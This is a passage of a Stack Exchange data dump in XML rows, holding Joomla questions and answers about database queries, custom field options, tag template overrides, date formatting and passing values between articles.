am not calling &lt;code&gt;qn()&lt;/code&gt; because none of the tablenames or columns require it.  If the &lt;code&gt;192&lt;/code&gt; is actually a variable, be sure to cast it as an integer with &lt;code&gt;(int)&lt;/code&gt; for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt; will produce:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT A.id,A.name,GROUP_CONCAT(DISTINCT B.category_id) category_ids,GROUP_CONCAT(DISTINCT C.title) categories&#xA;FROM db_ext_resources A&#xA;LEFT JOIN db_ext_resources_categories B ON A.id = B.resource_id&#xA;LEFT JOIN db_categories C ON B.category_id = C.id&#xA;WHERE A.id = 192&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-18T22:54:51.707" LastActivityDate="2018-06-18T22:54:51.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23020" PostTypeId="1" AcceptedAnswerId="23031" CreationDate="2018-06-18T14:35:29.540" Score="3" ViewCount="362" Body="&lt;p&gt;&lt;strong&gt;print_r($item-&gt;jcfields);&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [1] =&amp;gt; stdClass Object&#xA;        (&#xA;            [id] =&amp;gt; 1&#xA;            [title] =&amp;gt; Specialisms&#xA;            [name] =&amp;gt; specialisms&#xA;            [checked_out] =&amp;gt; 0&#xA;            [checked_out_time] =&amp;gt; 0000-00-00 00:00:00&#xA;            [note] =&amp;gt; &#xA;            [state] =&amp;gt; 1&#xA;            [access] =&amp;gt; 1&#xA;            [created_time] =&amp;gt; 2018-06-16 18:01:45&#xA;            [created_user_id] =&amp;gt; 903&#xA;            [ordering] =&amp;gt; 0&#xA;            [language] =&amp;gt; *&#xA;            [fieldparams] =&amp;gt; Joomla\Registry\Registry Object&#xA;                (&#xA;                    [data:protected] =&amp;gt; stdClass Object&#xA;                        (&#xA;                            [multiple] =&amp;gt; 1&#xA;                            [options] =&amp;gt; stdClass Object&#xA;                                (&#xA;                                    [options0] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; General Personal Training&#xA;                                            [value] =&amp;gt; General Personal Training&#xA;                                        )&#xA;&#xA;                                    [options1] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Conditioning&#xA;                                            [value] =&amp;gt; Conditioning&#xA;                                        )&#xA;&#xA;                                    [options2] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Strength&#xA;                                            [value] =&amp;gt; Strength&#xA;                                        )&#xA;&#xA;                                    [options3] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Boxing&#xA;                                            [value] =&amp;gt; Boxing&#xA;                                        )&#xA;&#xA;                                    [options4] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Rugby&#xA;                                            [value] =&amp;gt; Rugby&#xA;                                        )&#xA;&#xA;                                    [options5] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Football&#xA;                                            [value] =&amp;gt; Football&#xA;                                        )&#xA;&#xA;                                    [options6] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; High Intensity Training (HIT)&#xA;                                            [value] =&amp;gt; High Intensity Training (HIT)&#xA;                                        )&#xA;&#xA;                                    [options7] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Long Distance Running&#xA;                                            [value] =&amp;gt; Long Distance Running&#xA;                                        )&#xA;&#xA;                                    [options8] =&amp;gt; stdClass Object&#xA;                                        (&#xA;                                            [name] =&amp;gt; Athletics&#xA;                                            [value] =&amp;gt; Athletics&#xA;                                        )&#xA;&#xA;                                )&#xA;&#xA;                        )&#xA;&#xA;                    [initialized:protected] =&amp;gt; 1&#xA;                    [separator] =&amp;gt; .&#xA;                )&#xA;&#xA;            [params] =&amp;gt; Joomla\Registry\Registry Object&#xA;                (&#xA;                    [data:protected] =&amp;gt; stdClass Object&#xA;                        (&#xA;                            [render_class] =&amp;gt; &#xA;                            [class] =&amp;gt; &#xA;                            [showlabel] =&amp;gt; 1&#xA;                            [show_on] =&amp;gt; &#xA;                            [display] =&amp;gt; 0&#xA;                            [display_readonly] =&amp;gt; 2&#xA;                        )&#xA;&#xA;                    [initialized:protected] =&amp;gt; 1&#xA;                    [separator] =&amp;gt; .&#xA;                )&#xA;&#xA;            [type] =&amp;gt; list&#xA;            [default_value] =&amp;gt; &#xA;            [context] =&amp;gt; com_contact.contact&#xA;            [group_id] =&amp;gt; 0&#xA;            [label] =&amp;gt; Specialisms&#xA;            [description] =&amp;gt; &#xA;            [required] =&amp;gt; 0&#xA;            [language_title] =&amp;gt; &#xA;            [language_image] =&amp;gt; &#xA;            [editor] =&amp;gt; &#xA;            [access_level] =&amp;gt; Public&#xA;            [author_name] =&amp;gt; Eoin&#xA;            [group_title] =&amp;gt; &#xA;            [group_access] =&amp;gt; &#xA;            [group_state] =&amp;gt; &#xA;            [value] =&amp;gt; General Personal Training, Conditioning, Strength, Boxing, Athletics&#xA;            [rawvalue] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; General Personal Training&#xA;                    [1] =&amp;gt; Conditioning&#xA;                    [2] =&amp;gt; Strength&#xA;                    [3] =&amp;gt; Boxing&#xA;                    [4] =&amp;gt; Athletics&#xA;                )&#xA;&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can output the value by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($item-&amp;gt;jcfields as $field) {&#xA;   echo $field-&amp;gt;value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I output the &lt;code&gt;options&lt;/code&gt; 1 by 1.  Then I can style individual items&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-19T09:23:32.220" Title="How can I output each item of a multiple list custom field" Tags="|custom-field|array|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23021" PostTypeId="2" ParentId="18906" CreationDate="2018-06-18T15:53:37.053" Score="1" Body="&lt;p&gt;This probably is late reply but it might help others who are looking to add search tools on list view in Joomla backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://techjoomla.com/developers-blogs/joomla-development/joomla-using-jlayouts-search-tools-on-joomla-3-x-at-admin-backend-for-list-views&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using 'Search Tools' on Joomla 3.x at admin backend for list views&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3348" LastActivityDate="2018-06-18T15:53:37.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23022" PostTypeId="1" CreationDate="2018-06-18T16:08:51.300" Score="2" ViewCount="62" Body="&lt;p&gt;on the override for com_tags &gt; tag &gt; default.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add the [note] data &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would seem that this &gt; $this-&gt;item-&gt;note should work. But it doesn't&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short result of the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php print_r($this-&amp;gt;item); ?&amp;gt;&#xA;&#xA;[0] =&amp;gt; Joomla\CMS\Object\CMSObject Object&#xA;        (&#xA;            [_errors:protected] =&amp;gt; Array&#xA;                (&#xA;                )&#xA;&#xA;            [parent_id] =&amp;gt; 102&#xA;            [level] =&amp;gt; 2&#xA;            [lft] =&amp;gt; 136&#xA;            [rgt] =&amp;gt; 137&#xA;            [alias] =&amp;gt; school-education&#xA;            [id] =&amp;gt; 107&#xA;            [path] =&amp;gt; subjects/school-education&#xA;            [title] =&amp;gt; School + Education&#xA;            [note] =&amp;gt; School Note&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pulling my hair out. Any insights appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12633" LastActivityDate="2018-12-15T21:03:50.817" Title="Tag Template Override - Access to Data" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23023" PostTypeId="2" ParentId="23022" CreationDate="2018-06-18T16:37:33.483" Score="1" Body="&lt;p&gt;It appears that &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item[0]-&amp;gt;note; ?&amp;gt;&lt;/code&gt; may be the solution.&lt;/p&gt;&#xA;" OwnerUserId="12633" LastActivityDate="2018-06-18T16:37:33.483" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23024" PostTypeId="2" ParentId="9367" CreationDate="2018-06-19T01:36:43.723" Score="0" Body="&lt;p&gt;I find that the glaring disadvantage to your original sql code block is that it generates a 1000-row derived table, only to prune it back to the desired 182 rows -- this is an indirect approach and simply makes sql work harder than it needs to.  (I do find it to be a clever approach regardless -- I wouldn't have considered doing that way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will recommend generating your derived table consisting only of the date values required via php then &lt;code&gt;LEFT JOIN&lt;/code&gt;, &lt;code&gt;GROUP BY&lt;/code&gt;, and &lt;code&gt;COUNT()&lt;/code&gt; your &lt;code&gt;table_goals&lt;/code&gt; data for a clean, manageable, direct piece of code.  The following will provide your intended result without &lt;code&gt;ORDER BY&lt;/code&gt;, &lt;code&gt;WHERE&lt;/code&gt;, nor a verbose, hardcoded subquery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $days_ago = 182;&#xA;    for ($x = $days_ago; $x &amp;gt;= 0; --$x) {&#xA;        $unions[] = &quot;SELECT &quot; . date(&quot;'Y-m-d'&quot;, strtotime(&quot;-$x day&quot;)) . ($x == $days_ago ? &quot; AS `date`&quot; : &quot;&quot;);&#xA;    }&#xA;    $derived_table = implode(' UNION ', $unions);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;A.`date`, COUNT(B.`date`) AS `count`&quot;)&#xA;                -&amp;gt;from(&quot;($derived_table) A&quot;)&#xA;                -&amp;gt;leftJoin(&quot;table_goals B ON A.`date` = DATE(B.`date`)&quot;)&#xA;                -&amp;gt;group(&quot;A.`date`&quot;);&#xA;    // echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$results = $db-&amp;gt;loadAssocList()) {&#xA;        echo &quot;Logic Error - Check the derived table generating code&quot;;&#xA;    } else {&#xA;        foreach ($results as $row) {&#xA;            echo &quot;&amp;lt;div&amp;gt;{$row['date']} -&amp;gt; {$row['count']}&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error While Getting Timeline Data&quot;; // , $e-&amp;gt;getMessage(); // &amp;lt;- don't show getMessage() to the public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Because the resultset order needs to be &lt;code&gt;date ASC&lt;/code&gt;, I am running a decrementing &lt;code&gt;for&lt;/code&gt; loop.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;($x == $days_ago)&lt;/code&gt; condition in the &lt;code&gt;$union&lt;/code&gt; line reduces query bloat by only assigning the column alias to the first &lt;code&gt;SELECT&lt;/code&gt; -- the subsequent &lt;code&gt;SELECT&lt;/code&gt;s will inherit the column name.&lt;/li&gt;&#xA;&lt;li&gt;Look carefully, I have written the single quotes in the first parameter of &lt;code&gt;date()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I am electing not to call &lt;code&gt;qn()&lt;/code&gt; to generate backticks on my hardcoded column names.  This is a personal preference to reduce code bloat.  This query doesn't have any insecurities, but you can call &lt;code&gt;qn()&lt;/code&gt; on everything if you like.&lt;/li&gt;&#xA;&lt;li&gt;I am calling &lt;code&gt;DATE()&lt;/code&gt; on your &lt;code&gt;table_goals.date&lt;/code&gt; assuming that it is a &lt;code&gt;DATETIME&lt;/code&gt; type field.  If it is already a &lt;code&gt;DATE&lt;/code&gt; type, then you can remove that call in the &lt;code&gt;leftJoin()&lt;/code&gt; line.&lt;/li&gt;&#xA;&lt;li&gt;Using a &lt;code&gt;LEFT JOIN&lt;/code&gt; is critical for the query logic.  If you use an &lt;code&gt;INNER JOIN&lt;/code&gt; you will disqualify rows where there were no &quot;join-able&quot; date value -- this would effectively mean that all zero-count rows would disappear AND if you wanted that kind of a result, then the derived table should be omitted from the code logic entirely.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I tested the above snippet today (2018-06-19), this is the dumped query and displayed result rows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query Dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT A.`date`, COUNT(B.`date`) AS `count`&#xA;FROM (SELECT '2017-12-19' AS `date` UNION SELECT '2017-12-20' UNION SELECT '2017-12-21'&#xA;UNION SELECT '2017-12-22' UNION SELECT '2017-12-23' UNION SELECT '2017-12-24'&#xA;UNION SELECT '2017-12-25' UNION SELECT '2017-12-26' UNION SELECT '2017-12-27'&#xA;UNION ... more rows ...&#xA;UNION SELECT '2018-06-15' UNION SELECT '2018-06-16' UNION SELECT '2018-06-17'&#xA;UNION SELECT '2018-06-18' UNION SELECT '2018-06-19') A&#xA;LEFT JOIN table_goals B ON A.`date` = DATE(B.`date`)&#xA;GROUP BY A.`date`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2017-12-19 -&amp;gt; 50&#xA;2017-12-20 -&amp;gt; 10&#xA;2017-12-21 -&amp;gt; 0&#xA;2017-12-22 -&amp;gt; 99&#xA;... more rows ...&#xA;2018-06-16 -&amp;gt; 382&#xA;2018-06-17 -&amp;gt; 152&#xA;2018-06-18 -&amp;gt; 20&#xA;2018-06-19 -&amp;gt; 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-21T06:06:33.530" LastActivityDate="2018-06-21T06:06:33.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23025" PostTypeId="2" ParentId="17230" CreationDate="2018-06-19T02:00:58.833" Score="0" Body="&lt;p&gt;You need to rethink your query logic because the following line of sql is ALWAYS going to kill ALL available rows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName('a.DateSubmitted') . ' NOT BETWEEN \'' . $db-&amp;gt;quoteName('a.DateSubmitted') . '\' AND \'' . date( $db-&amp;gt;quoteName('a.DateSubmitted') , strtotime('+5 day')) . '\'   ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In simpler terms, your logic is saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only keep rows that have a &lt;code&gt;DateSubmitted&lt;/code&gt; value that is NOT between &lt;code&gt;DateSubmitted&lt;/code&gt; and &lt;code&gt;DateSubmitted&lt;/code&gt;+5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In simplest terms, if &lt;code&gt;DateSubmitted&lt;/code&gt; equals 1, then:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Keep rows where 1 is not one of the following values: 1, 2, 3, 4, 5, 6.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For your logic to be corrected, you'll need two separate date sources -- one that is &lt;code&gt;DateSubmitted&lt;/code&gt; and a separate date supply (&lt;code&gt;CURDATE()&lt;/code&gt; or another table/column's date value).&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-19T02:00:58.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23026" PostTypeId="2" ParentId="13755" CreationDate="2018-06-19T03:45:27.500" Score="1" Body="&lt;p&gt;MySQL already provides the appropriate tools to reformat your timestamp value, so I strongly recommend that you wrap &lt;a href=&quot;https://www.w3resource.com/mysql/date-and-time-functions/mysql-date_format-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;DATE_FORMAT()&lt;/a&gt; around your &lt;code&gt;MAX()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DATE_FORMAT(MAX(timestamp), '%m-%d-%Y') AS `formatted` FROM `service_status`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/b415f1/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MAX()&lt;/code&gt; provides a more succinct query versus &lt;code&gt;ORDER BY timestamp DESC LIMIT 1&lt;/code&gt; which will also provide the desired output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DATE_FORMAT(timestamp, '%m-%d-%Y') AS formatted FROM `service_status` ORDER BY timestamp DESC LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The take-away lessions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You don't need the redundant logic of &lt;code&gt;MAX()&lt;/code&gt; and &lt;code&gt;ORDER BY timestamp DESC LIMIT 1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can spare a couple of php date function calls (namely: &lt;code&gt;strtotime()&lt;/code&gt; &amp;amp; &lt;code&gt;date()&lt;/code&gt;) by reformatting in your query.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The final baked product can look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;DATE_FORMAT(MAX(timestamp), '%m-%d-%Y')&quot;)&#xA;                -&amp;gt;from(&quot;#__service_status&quot;);&#xA;    // echo $query-&amp;gt;dump();  // uncomment if you want to see what is generated&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$result = $db-&amp;gt;loadResult()) {  // declare $result then check for a &quot;falsey&quot; value&#xA;        echo &quot;No Rows Found&quot;;&#xA;    } else {&#xA;        echo &quot;Last update was $result&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error&quot;; // , $e-&amp;gt;getMessage();  // &amp;lt;- don't show these details publicly&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*since there is only a single value returned, I have removed the column alias that I first mentioned in my raw SQL query -- &lt;code&gt;loadResult()&lt;/code&gt; doesn't care what the field is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;code&gt;timestamp&lt;/code&gt; is a mysql KEYWORD but it is not a RESERVED KEYWORD so it doesn't &lt;em&gt;need&lt;/em&gt; to be wrapped in backticks. &lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-19T03:45:27.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23027" PostTypeId="2" ParentId="12363" CreationDate="2018-06-19T04:10:39.353" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.w3resource.com/mysql/date-and-time-functions/mysql-date_format-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;DATE_FORMAT()&lt;/a&gt; is a highly versatile and concise tool to reformat your datetime stamp within the query (before it hits the php layer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using a pure MySQL solution is that you are faaar less likely to need to adjust this syntax versus needing to adjust a Joomla syntax because of a version change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using pure MySQL also results in less overhead/handling, so it will peeform more efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some pertinent format specifiers:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;%m&lt;/code&gt; -&gt; Month, numeric (00..12)&lt;br&gt;&#xA;  &lt;code&gt;%ac&lt;/code&gt; -&gt; Month, numeric (0..12)&lt;br&gt;&#xA;  &lt;code&gt;%d&lt;/code&gt; -&gt; Day of the month, numeric (00..31)&lt;br&gt;&#xA;  &lt;code&gt;%e&lt;/code&gt; -&gt; Day of the month, numeric (0..31)&lt;br&gt;&#xA;  &lt;code&gt;%Y&lt;/code&gt; -&gt; Year, numeric, four digits&lt;br&gt;&#xA;  &lt;code&gt;%y&lt;/code&gt;  Year, numeric (two digits)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe you are wanting zero-padded days and months and a four-digit year, so my recommended &lt;code&gt;SELECT&lt;/code&gt; query looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DATE_FORMAT(`timestamp`, '%d-%m-%Y') AS `Eurodate`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/fEmCtP9JmLHoPYEBZ1egXp/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;DBFiddle Demo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-28T22:46:06.450" LastActivityDate="2019-05-28T22:46:06.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23028" PostTypeId="2" ParentId="22987" CreationDate="2018-06-19T06:35:56.503" Score="0" Body="&lt;p&gt;First, some explanations of your code. Since this is done inside tag loop ($this-&gt;items holds tags), $item variable is current tag in the loop. So this tries to get article tags but you're inputting tag ID as article ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articleTag = new JHelperTags;&#xA;$articleTag-&amp;gt;getItemTags('com.content.article', $item-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyways, you don't need this unless you also want article tags displayed so structure would be like this: Tag -&gt; Article -&gt; Article Tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using $this-&gt;items inside items_tag layout means running the same tag loop again. Instead you need to get tagged items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what my snippet does. Place it somewhere in the tag loop (items_tag layout is fine). and use $tagItems to access tagged items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a what items_tag layout could look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$tagModel = JModelLegacy::getInstance('Tag', 'TagsModel', array('ignore_request' =&amp;gt; true));&#xA;$tagParams = new \Joomla\Registry\Registry();&#xA;$tagModel-&amp;gt;setState('params', $tagParams);&#xA;// Set tag filter&#xA;$tagModel-&amp;gt;setState('tag.id', $item-&amp;gt;id);&#xA;$tagItems = $tagModel-&amp;gt;getItems();&#xA;&#xA;if (!empty($tagItems)) : ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php foreach ($tagItems as $i =&amp;gt; $tagItem) : ?&amp;gt;&#xA;            &amp;lt;?php if ($tagItem-&amp;gt;core_state == 0) : ?&amp;gt;&#xA;                &amp;lt;li class=&quot;system-unpublished cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;li class=&quot;cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($tagItem-&amp;gt;content_item_id, $tagItem-&amp;gt;core_alias, $tagItem-&amp;gt;core_catid, $tagItem-&amp;gt;core_language, $tagItem-&amp;gt;type_alias, $tagItem-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $this-&amp;gt;escape($tagItem-&amp;gt;core_title); ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php if ($tagItem-&amp;gt;core_state == 0) : ?&amp;gt;&#xA;                            &amp;lt;span class=&quot;list-published label label-warning&quot;&amp;gt;&#xA;                                &amp;lt;?php echo JText::_('JUNPUBLISHED'); ?&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12638" LastEditorUserId="-1" LastEditDate="2018-07-19T10:32:38.827" LastActivityDate="2018-07-19T10:32:38.827" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23029" PostTypeId="2" ParentId="12363" CreationDate="2018-06-19T06:52:47.443" Score="1" Body="&lt;p&gt;Rather than trying to format using mysql, i would rather to do it in php directly using JDate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Your date from database&#xA;$myStringDate = '2018-06-19 09:04:05';&#xA;&#xA;// Use it in a JDate instance&#xA;$date = JFactory::getDate($myStringDate);&#xA;&#xA;// Output using the format of your choice (see http://php.net/manual/en/function.date.php)&#xA;echo $date-&amp;gt;format('d F Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12604" LastActivityDate="2018-06-19T06:52:47.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23030" PostTypeId="2" ParentId="23020" CreationDate="2018-06-19T08:26:09.697" Score="2" Body="&lt;p&gt;The field options are a registry object so if you've already got the field you can grab all the options with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_options = $field-&amp;gt;fieldparams-&amp;gt;toArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;print_r that and you'll see the structure it provides which you can then just foreach through.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-06-19T08:26:09.697" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23031" PostTypeId="2" ParentId="23020" CreationDate="2018-06-19T09:23:32.220" Score="2" Body="&lt;p&gt;I haven't tested this so I could be wrong. But if I rightly remember, a protected object cannot be retrieved by &lt;code&gt;$field-&amp;gt;fieldparams-&amp;gt;options&lt;/code&gt;. Instead, you'll need to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = $field-&amp;gt;fieldparams-&amp;gt;get('options');&#xA;&#xA;foreach ($options as $option)&#xA;{&#xA;    echo $option-&amp;gt;name;&#xA;    echo $option-&amp;gt;value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, I haven't tested this and have a feeling it might return a PHP error, but thought I'd give it a shot.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-06-19T09:23:32.220" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23033" PostTypeId="1" CreationDate="2018-06-19T16:27:20.100" Score="0" ViewCount="88" Body="&lt;p&gt;I have two articles in my Joomla site. One article has various links to the same article. The other article display, with code of java script, the HTML content of a file depending on what link was clicked in the previous article. How can I send a variable with the option that the user clicked and get that variable in the other article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code of javascript that show the file in the second article. Right now shows a specific file but I want that the file name were the option that received from the first article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;  file=&quot;http://1.1.1.1/mysite/files/test.html&quot;&#xA;  var rawFile = new XMLHttpRequest();&#xA;  rawFile.open(&quot;GET&quot;, file, false);&#xA;  rawFile.onreadystatechange = function ()&#xA;  {&#xA;    if(rawFile.readyState === 4)&#xA;    {&#xA;      if(rawFile.status === 200 || rawFile.status == 0)&#xA;      {&#xA;        var allText = rawFile.responseText;&#xA;        document.getElementById(&quot;content_file&quot;).innerHTML=allText;&#xA;      }&#xA;    }&#xA;  }&#xA;  rawFile.send(null);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12637" LastActivityDate="2024-03-21T10:08:05.963" Title="Send values from article to article" Tags="|articles|javascript|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
